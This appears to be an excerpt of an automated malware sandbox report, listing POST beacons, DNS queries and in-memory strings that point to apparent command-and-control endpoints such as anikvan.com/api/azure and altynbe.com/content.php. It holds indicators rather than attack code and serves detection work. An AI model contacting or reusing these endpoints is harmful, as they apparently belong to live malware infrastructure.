Source: global traffic	HTTP traffic detected: POST /api/azure HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.ioContent-Length: 656Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/azure HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: anikvan.comContent-Length: 444Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /content.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: anikvan.comContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /content.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.ioContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/azure HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: altynbe.comContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/azure HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.ioContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /content.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: anikvan.comContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/azure HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.ioContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/azure HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.ioContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /content.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.ioContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /content.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: anikvan.comContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /content.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.ioContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /content.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: boriz400.comContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/azure HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.ioContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /content.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: anikvan.comContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/azure HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.ioContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /content.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: altynbe.comContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /content.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.ioContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /content.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: altynbe.comContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/azure HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: altynbe.comContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /content.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: altynbe.comContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/azure HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: altynbe.comContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /content.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: anikvan.comContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /live/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: workspacin.cloudContent-Length: 248Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/azure HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: anikvan.comContent-Length: 154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /live/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: workspacin.cloudContent-Length: 180Cache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\explorer.exe

Code function: 22_2_013A4004 InternetReadFile,

22_2_013A4004

Source: global traffic	DNS traffic detected: DNS query: boriz400.com
Source: global traffic	DNS traffic detected: DNS query: altynbe.com
Source: global traffic	DNS traffic detected: DNS query: ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io
Source: global traffic	DNS traffic detected: DNS query: anikvan.com
Source: global traffic	DNS traffic detected: DNS query: uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io
Source: global traffic	DNS traffic detected: DNS query: workspacin.cloud

Source: unknown

HTTP traffic detected: POST /api/azure HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Host: boriz400.comContent-Length: 538Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 May 2024 22:04:29 GMTContent-Type: text/plain; charset=utf-8Content-Length: 9Connection: closeStrict-Transport-Security: max-age=15724800; includeSubDomains
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 May 2024 22:04:54 GMTContent-Type: text/plain; charset=utf-8Content-Length: 9Connection: closeStrict-Transport-Security: max-age=15724800; includeSubDomains
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 May 2024 22:05:03 GMTContent-Type: text/plain; charset=utf-8Content-Length: 9Connection: closeStrict-Transport-Security: max-age=15724800; includeSubDomains
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 May 2024 22:05:21 GMTContent-Type: text/plain; charset=utf-8Content-Length: 9Connection: closeStrict-Transport-Security: max-age=15724800; includeSubDomains

Source: explorer.exe, 00000016.00000000.1846357884.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2942821965.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1847916203.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000016.00000000.1846357884.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2942821965.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1847916203.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000016.00000000.1846357884.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2942821965.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1847916203.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000016.00000000.1846357884.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2942821965.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1847916203.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000016.00000000.1846357884.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2940539964.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000016.00000000.1850142884.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000000.1847476814.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000002.2941807069.0000000007F40000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: Amcache.hve.9.dr	String found in binary or memory: http://upx.sf.net
Source: explorer.exe, 00000016.00000000.1859052974.000000000C964000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2945734291.000000000C964000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000016.00000002.2945734291.000000000C893000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1859052974.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000016.00000000.1846357884.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2940539964.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000016.00000000.1846357884.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2940539964.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: rundll32.exe, 00000012.00000003.1867444760.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/
Source: rundll32.exe, 00000012.00000003.1842659886.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/5~
Source: rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/=~
Source: rundll32.exe, 00000012.00000003.2680109233.00000292115BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/B_F
Source: rundll32.exe, 00000012.00000003.1868997096.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1842659886.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882552320.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1867444760.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/U~
Source: rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/X
Source: rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/api/azure
Source: rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/api/azureontent.phpMfE
Source: rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/api/azurep
Source: rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/api/azureure
Source: rundll32.exe, 00000012.00000003.1868997096.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1842659886.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1842659886.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882552320.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1867444760.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/content.php
Source: rundll32.exe, 00000012.00000003.1868997096.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1842659886.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882552320.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1867444760.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/content.php2f
Source: rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/d
Source: rundll32.exe, 00000012.00000003.2762031046.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.00000292115BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.00000292115BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/db-53011b87bd06
Source: rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/ic
Source: rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://altynbe.com/tyk.io
Source: explorer.exe, 00000016.00000002.2945734291.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1859052974.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: rundll32.exe, 00000012.00000003.2284190577.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882552320.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anikvan.com/
Source: rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anikvan.com/I~
Source: rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.00000292115EE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882552320.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2415718994.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.00000292115EE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284190577.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738816096.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.00000292115EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anikvan.com/api/azure
Source: rundll32.exe, 00000012.00000003.2680109233.00000292115EE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882552320.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2415718994.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.00000292115EE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284190577.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738816096.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.00000292115EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anikvan.com/api/azure==
Source: rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anikvan.com/api/azuret.php.f
Source: rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anikvan.com/content.php
